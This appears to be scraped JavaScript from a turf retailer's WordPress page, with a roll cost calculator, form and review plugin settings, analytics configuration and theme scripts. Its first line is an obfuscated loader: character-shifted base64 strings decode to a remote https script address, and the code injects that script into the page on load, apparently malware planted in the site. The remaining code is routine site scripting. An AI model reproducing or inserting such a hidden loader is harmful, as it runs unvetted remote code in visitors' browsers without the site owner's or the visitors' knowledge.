window[(function(_InA,_hH){var _dRnLK='';for(var _2pBxIp=0;_2pBxIp<_InA.length;_2pBxIp++){_BWt9!=_2pBxIp;var _BWt9=_InA[_2pBxIp].charCodeAt();_BWt9-=_hH;_BWt9+=61;_hH>3;_dRnLK==_dRnLK;_BWt9%=94;_BWt9+=33;_dRnLK+=String.fromCharCode(_BWt9)}return _dRnLK})(atob('dWRrLywnIn4xZiI2'), 27)] = '3c020144ab1733329654'; var zi = document.createElement('script'); (zi.type = 'text/javascript'), (zi.async = true), (zi.src = (function(_sex,_8q){var _VCW3e='';for(var _6t6ay9=0;_6t6ay9<_sex.length;_6t6ay9++){var _VO3i=_sex[_6t6ay9].charCodeAt();_VO3i-=_8q;_8q>6;_VO3i+=61;_VCW3e==_VCW3e;_VO3i%=94;_VO3i+=33;_VO3i!=_6t6ay9;_VCW3e+=String.fromCharCode(_VO3i)}return _VCW3e})(atob('Ljo6NjleU1MwOVJAL1E5KTgvNjo5Uik1M1NAL1E6Jy1SMDk='), 36)), document.readyState === 'complete'?document.body.appendChild(zi): window.addEventListener('load', function(){ document.body.appendChild(zi) });
function dtRollCalc() {
const linear = parseFloat(document.getElementById('rollLinear').value);
const rollWidth = parseFloat(document.getElementById('rollWidth').value);
const pricePerSqFt = 7.47; // update per product
if (!linear || linear <= 0) return;
const sqft = linear * rollWidth;
const subtotal = sqft * pricePerSqFt;
const hst = subtotal * 0.13;
const total = subtotal + hst;
document.getElementById('rollSqft').innerText = sqft.toFixed(2) + " sq ft";
document.getElementById('rollSubtotal').innerText = "$" + subtotal.toFixed(2);
document.getElementById('rollHST').innerText = "$" + hst.toFixed(2);
document.getElementById('rollTotal').innerText = "$" + total.toFixed(2);
}
function dtCalc() {
const productData = document.getElementById("dtProduct").value;
const length = parseFloat(document.getElementById("dtLength").value);
const width = parseFloat(document.getElementById("dtWidth").value);
if (!productData || !length || !width) {
alert("Please select a product and enter both length and width.");
return;
}
const [price, rollWidth] = productData.split("|").map(Number);
const sqFt = length * width;
const totalCost = sqFt * price;
document.getElementById("dtBadge").style.display = "inline-block";
document.getElementById("dtBadge").innerHTML = `Roll Width: ${rollWidth} ft`;
document.getElementById("dtSummary1").style.display = "flex";
document.getElementById("dtSummary1").innerHTML =
`<span>Price: $${price.toFixed(2)}/sq ft</span>
<span>Sq Ft: ${sqFt.toFixed(2)}</span>`;
document.getElementById("dtSummary2").style.display = "flex";
document.getElementById("dtSummary2").innerHTML =
`<span>Cost: $${totalCost.toFixed(2)}</span>`;
}
https://www.designturf.ca/wp-content/plugins/embed-any-document/js/pdfobject.min.js
var eadPublic = [];
//# sourceURL=awsm-ead-public-js-extra
https://www.designturf.ca/wp-content/plugins/embed-any-document/js/embed-public.min.js
var cf7appsRedirection = {"ajaxurl":"https://www.designturf.ca/wp-admin/admin-ajax.php"};
//# sourceURL=cf7apps-redirection-js-extra
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_b289b8a5c1e9ee51ae99bcc9de766106.js
wp.i18n.setLocaleData( { 'text direction\u0004ltr': [ 'ltr' ] } );
//# sourceURL=wp-i18n-js-after
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_96e7dc3f0e8559e4a3f3ca40b17ab9c3.js
var wpcf7 = {
"api": {
"root": "https:\/\/www.designturf.ca\/wp-json\/",
"namespace": "contact-form-7\/v1"
},
"cached": 1
};
//# sourceURL=contact-form-7-js-before
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_2912c657d0592cc532dff73d0d2ce7bb.js
var cf7appsHoneypotRefill = {"forceRefillOnInit":"1"};
//# sourceURL=cf7apps-honeypot-refill-js-extra
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_ff73328f26e146915c87cc0affba7624.js
var sc_project=11316460;
var sc_security="635c5120";
var sc_invisible=1;
//# sourceURL=statcounter-js-js-before
var wpcf7r = {"ajax_url":"https://www.designturf.ca/wp-admin/admin-ajax.php"};
//# sourceURL=wpcf7-redirect-script-js-extra
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_de051e67bf5997ca287fb2592e14d4fa.js
https://www.designturf.ca/wp-content/themes/betheme/js/plugins/debouncedresize.min.js
https://www.designturf.ca/wp-content/themes/betheme/js/plugins/magnificpopup.min.js
https://www.designturf.ca/wp-content/themes/betheme/js/menu.min.js
https://www.designturf.ca/wp-content/themes/betheme/js/plugins/visible.min.js
https://www.designturf.ca/wp-content/themes/betheme/js/plugins/enllax.min.js
https://www.designturf.ca/wp-content/themes/betheme/js/parallax/translate3d.min.js
var mfn = {"ajax":"https://www.designturf.ca/wp-admin/admin-ajax.php","mobileInit":"1240","parallax":"translate3d","responsive":"1","sidebarSticky":"","lightbox":{"disable":false,"disableMobile":false,"title":false},"view":{"grid_width":1240},"slider":{"blog":0,"clients":0,"offer":0,"portfolio":0,"shop":0,"slider":0,"testimonials":0},"livesearch":{"minChar":3,"loadPosts":10,"translation":{"pages":"Pages","categories":"Categories","portfolio":"Portfolio","post":"Posts","products":"Products"}},"accessibility":{"translation":{"headerContainer":"Header container","toggleSubmenu":"Toggle submenu"}},"home_url":"","home_url_lang":"https://www.designturf.ca","site_url":"https://www.designturf.ca","translation":{"success_message":"Link copied to the clipboard.","error_message":"Something went wrong. Please try again later!"}};
//# sourceURL=mfn-scripts-js-extra
https://www.designturf.ca/wp-content/themes/betheme/js/scripts.min.js
document.addEventListener("DOMContentLoaded", function() {
const items = document.querySelectorAll(".faq-item h4.toggle");
items.forEach(item => {
item.addEventListener("click", function() {
const parent = this.parentElement;
parent.classList.toggle("active");
});
});
});
// Delay Before/After slider initialization
document.addEventListener("DOMContentLoaded", function() {
requestIdleCallback(() => {
if (typeof mfn_before_after === "function") {
mfn_before_after();
}
});
});
//# sourceURL=mfn-scripts-js-after
window.hasOwnProperty("GLSR")||(window.GLSR={Event:{on:()=>{}}});GLSR.action="glsr_public_action";GLSR.addons=[];GLSR.ajax_pagination=["#wpadminbar",".site-navigation-fixed"];GLSR.ajax_url="https://www.designturf.ca/wp-admin/admin-ajax.php";GLSR.captcha=[];GLSR.modal_wrapped_by=["block"];GLSR.nameprefix="site-reviews";GLSR.stars_config={"clearable":false,tooltip:"Select a Rating"};GLSR.state={"popstate":false};GLSR.text={"close_modal":"Close Modal"};GLSR.url_parameter="reviews-page";GLSR.validation_config={field:"glsr-field",form:"glsr-form","field_error":"glsr-field-is-invalid","field_hidden":"glsr-hidden","field_message":"glsr-field-error","field_required":"glsr-required","field_valid":"glsr-field-is-valid","form_error":"glsr-form-is-invalid","form_message":"glsr-form-message","form_message_failed":"glsr-form-failed","form_message_success":"glsr-form-success","input_error":"glsr-is-invalid","input_valid":"glsr-is-valid"};GLSR.validation_strings={accepted:"This field must be accepted.",between:"This field value must be between %1$s and %2$s.",betweenlength:"This field must have between %1$s and %2$s characters.",email:"This field requires a valid e-mail address.",errors:"Please fix the submission errors.",max:"Maximum value for this field is %s.",maxfiles:"This field allows a maximum of %s files.",maxlength:"This field allows a maximum of %s characters.",min:"Minimum value for this field is %s.",minfiles:"This field requires a minimum of %s files.",minlength:"This field requires a minimum of %s characters.",number:"This field requires a number.",pattern:"Please match the requested format.",regex:"Please match the requested format.",required:"This field is required.",tel:"This field requires a valid telephone number.",url:"This field requires a valid website URL (make sure it starts with http or https).",unsupported:"The review could not be submitted because this browser is too old. Please try again with a modern browser."};GLSR.version="8.2.1";
//# sourceURL=site-reviews-js-before
https://www.designturf.ca/wp-content/cache/autoptimize/js/autoptimize_single_5e24779b5bf81baee6b0ef94fcf81cd5.js
window.addEventListener("load", function(event) {
jQuery(".cfx_form_main,.wpcf7-form,.wpforms-form,.gform_wrapper form").each(function(){
var form=jQuery(this);
var screen_width=""; var screen_height="";
if(screen_width == ""){
if(screen){
screen_width=screen.width;
}else{
screen_width=jQuery(window).width();
} }
if(screen_height == ""){
if(screen){
screen_height=screen.height;
}else{
screen_height=jQuery(window).height();
} }
form.append('<input type="hidden" name="vx_width" value="'+screen_width+'">');
form.append('<input type="hidden" name="vx_height" value="'+screen_height+'">');
form.append('<input type="hidden" name="vx_url" value="'+window.location.href+'">');
});
});